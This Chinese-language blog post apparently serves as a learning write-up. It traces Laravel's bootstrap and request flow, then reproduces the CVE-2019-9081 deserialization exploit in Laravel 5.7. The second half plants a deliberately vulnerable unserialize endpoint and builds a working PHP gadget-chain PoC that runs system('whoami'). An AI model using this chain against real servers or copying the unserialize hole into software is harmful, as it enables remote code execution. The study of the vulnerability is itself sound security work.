某天和协会师弟交流了一下,意识到了自己一直以来审计代码的不足之处:没有完整的分析一个框架的启动流程,而是囫囵吞枣的对漏洞进行一次复现,这对整个代码审计来说其实是不完整的,不利于提高自己的白盒审计能力以及独立挖掘漏洞。于是自己决定尝试着分析一下Laravel框架的流程,并对CVE进行一次复现。
目录结构
一般经典的MVC,M在app/Models,V在resources/views,C在app/Http/Controllers。
app
应用的核心代码,初始化时有四个目录。
Console:所有开发者编写的artisan命令。Artisan 是 Laravel 中自带的命令行工具的名称,可以通过php artisan list查看所有能执行的命令。可以做一些操作例如添加控制器、模型、数据库等。
Exceptions:错误和异常处理
Http:控制器和中间件
Providers:应用的所有的服务提供器 。服务提供器通过在服务容器中绑定服务、注册事件、以及执行其他任务来为即将到来的请求做准备来启动应用。
config
配置文件
database
数据库迁移文件和填充文件
public
入口文件和一些公用资源,比如前端等
resources
包含了应用视图文件和语言包
routes
应用定义的所有路由
Storage
编译后的 Blade 模板,文件缓存(Session,log,cache等等)
tests
自动化测试文件
vendor
应用所有通过 Composer 加载的依赖文件
启动流程分析
入口文件在/laravel/public/index.php,对/bootstrap/app.php下文件进行了文件包含操作。
$app = require_once __DIR__.'/../bootstrap/app.php';
跟踪可以看到包含后执行了什么,先实例化了Application类
$app = new Illuminate\Foundation\Application(
realpath(__DIR__.'/../')
);
跟踪,由于是实例化,所以调用了Application类的__construct方法,传入的参数为realpath(__DIR__.'/../')
。
/**
* Create a new Illuminate application instance.
*
* @param string|null $basePath
* @return void
*/
public function __construct($basePath = null)
{
if ($basePath) {
$this->setBasePath($basePath);
}
$this->registerBaseBindings();
$this->registerBaseServiceProviders();
$this->registerCoreContainerAliases();
}
可以看到进行了四个操作,首先是如果传入参了参数,执行 $this->setBasePath($basePath)
,在绑定了$basePath
后再将$basePath
目录下的其他路径一一与容器进行绑定。
public function setBasePath($basePath)
{
$this->basePath = rtrim($basePath, '\/');
$this->bindPathsInContainer();
return $this;
}
再到$this->registerBaseBindings();
,这里分别绑定$app->instance['app']
等属性。
protected function registerBaseBindings()
{
static::setInstance($this);
$this->instance('app', $this);
$this->instance(Container::class, $this);
$this->instance(PackageManifest::class, new PackageManifest(
new Filesystem, $this->basePath(), $this->getCachedPackagesPath()
));
}
$this->registerBaseServiceProviders();
分别注册路由容器、事件容器、日志容器。
protected function registerBaseServiceProviders()
{
$this->register(new EventServiceProvider($this));
$this->register(new LogServiceProvider($this));
$this->register(new RoutingServiceProvider($this));
}
$this->registerCoreContainerAliases();
到最后是给$app->alias进行了赋值。
$app->alias = [
'app' => [\Illuminate\Foundation\Application::class, \Illuminate\Contracts\Container\Container::class, \Illuminate\Contracts\Foundation\Application::class, \Psr\Container\ContainerInterface::class]
通过构造函数,Application类加载了大部分的属性,我们可以开debug看一下,__construct本质就是在对$app各种属性一个填充的过程。
$app->singleton(
Illuminate\Contracts\Http\Kernel::class,
App\Http\Kernel::class
);
$app->singleton(
Illuminate\Contracts\Console\Kernel::class,
App\Console\Kernel::class
);
$app->singleton(
Illuminate\Contracts\Debug\ExceptionHandler::class,
App\Exceptions\Handler::class
);
之后,分别三次调用singleton
函数,可以观察一下具体做了什么
public function singleton($abstract, $concrete = null)
{
$this->bind($abstract, $concrete, true);
}
进入bind
public function bind($abstract, $concrete = null, $shared = false)
{
$this->dropStaleInstances($abstract);
// If no concrete type was given, we will simply set the concrete type to the
// abstract type. After that, the concrete type to be registered as shared
// without being forced to state their classes in both of the parameters.
if (is_null($concrete)) {
$concrete = $abstract;
}
// If the factory is not a Closure, it means it is just a class name which is
// bound into this container to the abstract type and we will just wrap it
// up inside its own Closure to give us more convenience when extending.
if (! $concrete instanceof Closure) {
$concrete = $this->getClosure($abstract, $concrete);
}
$this->bindings[$abstract] = compact('concrete', 'shared');
// If the abstract type was already resolved in this container we'll fire the
// rebound listener so that any objects which have already gotten resolved
// can have their copy of the object updated via the listener callbacks.
if ($this->resolved($abstract)) {
$this->rebound($abstract);
}
}
首先是执行了一个unset的操作,接着执行getClosure
这里不会进入if,最后进入return,返回闭包
这里的$container是Application类,进入Application的make方法,这里同样没有进入if,进入Container类的make方法,调用resolve,传入的值为App\Http\Kernel::class 和 []
这里进入resolve前面两处的If都进行了跳过
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
// If the requested type is registered as a singleton we'll want to cache off
// the instances in "memory" so we can return it later without creating an
// entirely new instance of an object on each subsequent request for it.
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
// Before returning, we will also set the resolved flag to "true" and pop off
// the parameter overrides for this build. After those two things are done
// we will be ready to return back the fully constructed class instance.
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
这处的if进入true分支
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
进入build,如果传入的值时闭包,执行闭包,这里不是闭包跳过
if ($concrete instanceof Closure) {
return $concrete($this, $this->getLastParameterOverride());
}
如果不是闭包,实例化反射类,这里传入的值是App/Http/Kerenl,然后进行文件包含
如果没有找到文件,即不能进行实例化,返回报错
if (! $reflector->isInstantiable()) {
return $this->notInstantiable($concrete);
}
buildStack是一个需要被实例化的类组成的栈,这里传入的值依然是App/Http/Kerenl
$this->buildStack[] = $concrete;
$constructor获取该类的构造方法
$constructor = $reflector->getConstructor();
后面其实是一个if-else结构,如果没有构造方法,则直接实例化这个类,否则就获取构造方法的参数,参数即为该类的依赖,最后递归解析并实例化依赖。
if (is_null($constructor)) {
array_pop($this->buildStack);
return new $concrete;
}
$dependencies = $constructor->getParameters();
$instances = $this->resolveDependencies(
$dependencies
);
最后将类弹出栈,弹出依赖并实例化类。
array_pop($this->buildStack);
return $reflector->newInstanceArgs($instances);
到这里我们做的操作就是实例化App\Http\Kernel类,并且解决了依赖,其实就是该类的一个构造。
跳出build方法后,没有进入后面两个if,弹出栈。
后面两个singleton函数同理,也是对类进行了一个实例化并且解决依赖的操作。
$app->singleton(
Illuminate\Contracts\Console\Kernel::class,
App\Console\Kernel::class
);
$app->singleton(
Illuminate\Contracts\Debug\ExceptionHandler::class,
App\Exceptions\Handler::class
);
文件包含app.php执行完后,返回index.php,这里先执行了$app->make,之后调用kernel示例的handle方法。
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
跟踪该类,进入文件包含后实例化类,最后调用createFromBase,这里比较有意思,这里构造了request对象,并读取了用户所有传入的参数。
public static function createFromGlobals()
{
$request = self::createRequestFromFactory($_GET, $_POST, [], $_COOKIE, $_FILES, $_SERVER);
if (str_starts_with($request->headers->get('CONTENT_TYPE', ''), 'application/x-www-form-urlencoded')
&& \in_array(strtoupper($request->server->get('REQUEST_METHOD', 'GET')), ['PUT', 'DELETE', 'PATCH'])
) {
parse_str($request->getContent(), $data);
$request->request = new ParameterBag($data);
}
return $request;
}
从这里最后返回request,进入到handle方法
public function handle($request)
{
try {
$request->enableHttpMethodParameterOverride();
$response = $this->sendRequestThroughRouter($request);
} catch (Exception $e) {
$this->reportException($e);
$response = $this->renderException($request, $e);
} catch (Throwable $e) {
$this->reportException($e = new FatalThrowableError($e));
$response = $this->renderException($request, $e);
}
$this->app['events']->dispatch(
new Events\RequestHandled($request, $response)
);
return $response;
}
enableHttpMethodParameterOverride()只做了一件事,设置request的属性$httpMethodParameterOverride为true
$request->enableHttpMethodParameterOverride();
接着到进入最核心的sendRequestThroughRouter
$response = $this->sendRequestThroughRouter($request);
这里再次执行instance对请求信息进行绑定,最后创建Pipeline对象,发送request到路由上。
protected function sendRequestThroughRouter($request)
{
$this->app->instance('request', $request);
Facade::clearResolvedInstance('request');
$this->bootstrap();
return (new Pipeline($this->app))
->send($request)
->through($this->app->shouldSkipMiddleware() ? [] : $this->middleware)
->then($this->dispatchToRouter());
}
进入dispatchToRouter,链子很长,你忍一下
protected function dispatchToRouter()
{
return function ($request) {
$this->app->instance('request', $request);
return $this->router->dispatch($request);
};
}
public function dispatch(Request $request)
{
$this->currentRequest = $request;
return $this->dispatchToRoute($request);
}
public function dispatchToRoute(Request $request)
{
return $this->runRoute($request, $this->findRoute($request));
}
最后将request请求解析到路由上,然后在调用send发送。
CVE-2019-9081
由于框架本身是没有反序列化点的,我们需要自己创建一个控制器添加反序列化点。在Routes/web.php中添加路由记录。
Route::get('/index',
'TaskController@index');
创建控制器TaskController
<?php
namespace App\Http\Controllers;
class TaskController {
public function index() {
@unserialize(base64_decode($_GET['poc']));
return 'Hello';
}
}
起点在vendor/laravel/framework/src/illuminate/Foundation/Testing/PendingCommand.php。可以看到在5.7中才添加了该文件,在5.6中没有该文件,所以这个漏洞只能在5.7中利用执行。
关注他构造函数的主要变量,可以看到这是一个命令执行的类。
public function __construct(PHPUnitTestCase $test, $app, $command, $parameters)
{
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->command = $command; //要执行的php函数
$this->parameters = $parameters; //要执行的php函数的参数
}
调试分析这里的__destruct流程,先尝试传入序列化后的对象,跟踪走向
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand {
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace {
$pending = new \Illuminate\Foundation\Testing\PendingCommand(null, null, "system", "whoami");
echo base64_encode(serialize($pending));
}
__destruct
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
跟踪进入run,然后进入函数mockConsoleOutput
,这里触发了laravel的错误处理。
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
在这里触发了报错
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
发现由于这里是ArrayInput orz,所以这里传入的$parameters需要是一个数组,于是重新开始构造poc。很低级的错误,不过这里也给了我一个提示,就是命令执行的参数大部分其实还是以数组形式呈现的。
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand {
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace {
$pending = new \Illuminate\Foundation\Testing\PendingCommand(null, null, "system", array("whoami"));
echo base64_encode(serialize($pending));
}
到这里在$this->mockConsoleOutput
抛出错误,跟进$this->createABufferedOutputMock()
private function createABufferedOutputMock()
{
$mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
->shouldAllowMockingProtectedMethods()
->shouldIgnoreMissing();
foreach ($this->test->expectedOutput as $i => $output) {
$mock->shouldReceive('doWrite')
->once()
->ordered()
->with($output, Mockery::any())
->andReturnUsing(function () use ($i) {
unset($this->test->expectedOutput[$i]);
});
}
return $mock;
}
到这里要求$this->test->expectedOutput值存在,于是我们查找存在该变量的类
于是搜索全局,发现没有类存在该变量,只有InteractsWithConsole这trait存在
查找该trait,只在TestCase
中被使用,而该测试类无法被实例化。于是我们换一种思路,寻找__get()
魔术方法,该魔术方法需要返回值可控,在属性$expectedOutput
被调用时调用。作者选用了Illuminate\Auth\GenericUser
// Illuminate\Auth\GenericUser
public function __get($key)
{
return $this->attributes[$key];
}
这里我们只需要实例化该类时对$this->attributes['expectedOutput']
进行赋值即可,注意这里的赋值依然需要数组
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand {
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Auth {
class GenericUser {
protected $attributes;
public function __construct(array $attributes) {
$this->attributes = $attributes;
}
}
}
namespace {
$generic = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"0")));
$pending = new \Illuminate\Foundation\Testing\PendingCommand($generic, null, "system", array("whoami"));
echo base64_encode(serialize($pending));
}
可以看到这里获得了值,报错也就绕过了
往后走同理,这里和刚才expectedOutput同样的构造方法。
往后就是需要给app赋值
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
到这里的poc需要$app变量含有$bind方法,在Container类中存在。
跳出mockConsoleOutput,往后走进入try-catch分支。
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
这里的Kernel::class
是Illuminate\Contracts\Console\Kernel
定值
追踪$this->app[Kernel::class]
,从这里一直追踪到getConcrete()
不跳入is_null()
,进入if语句判断,这里如果bindings[$abstract]值存在,则返回$this->bindings[$abstract][‘concrete’],而该值是可控的。
接着进入isBuildable()
,由于这里直接获得concrete,所以这里的值依然是个数组,且是我们需要实例化的类名,这里传入的是Application
,Isbuild返回false,进入else分支
第二次分支依然会进行make操作,所不同的是这里获取到的$abstract已经是我们需要实例化的Illuminate\Foundation\Application
,取代之前的Kenerl
。
第二次的if-else语句进入了if分支,调用反射类实例化变量。
接下来需要弹出三次栈,以及放回上一层,最后到最上面一层,我们传入的 $this->app[Kernel::class]
就是Illuminate\Foundation\Application
,然后调用该类的call函数,而在Application中找不到call()
函数,所以调用的是继承类的call()
。
而最后调用的是BoundMethod:call
会进行一个Callable的判断,最后调用call_user_func_array()!
这里的$callback和$parameters是我们可控的,也就是我们最开始实例化是传入的参数。
POC
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand {
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Auth {
class GenericUser {
protected $attributes;
public function __construct(array $attributes) {
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bindings){
$this->bindings=$bindings;
}
}
}
namespace {
$generic = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"0"), "expectedQuestions"=>array("0"=>"0")));
$application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));
$pending = new \Illuminate\Foundation\Testing\PendingCommand($generic, $application, "system", array("whoami"));
echo base64_encode(serialize($pending));
}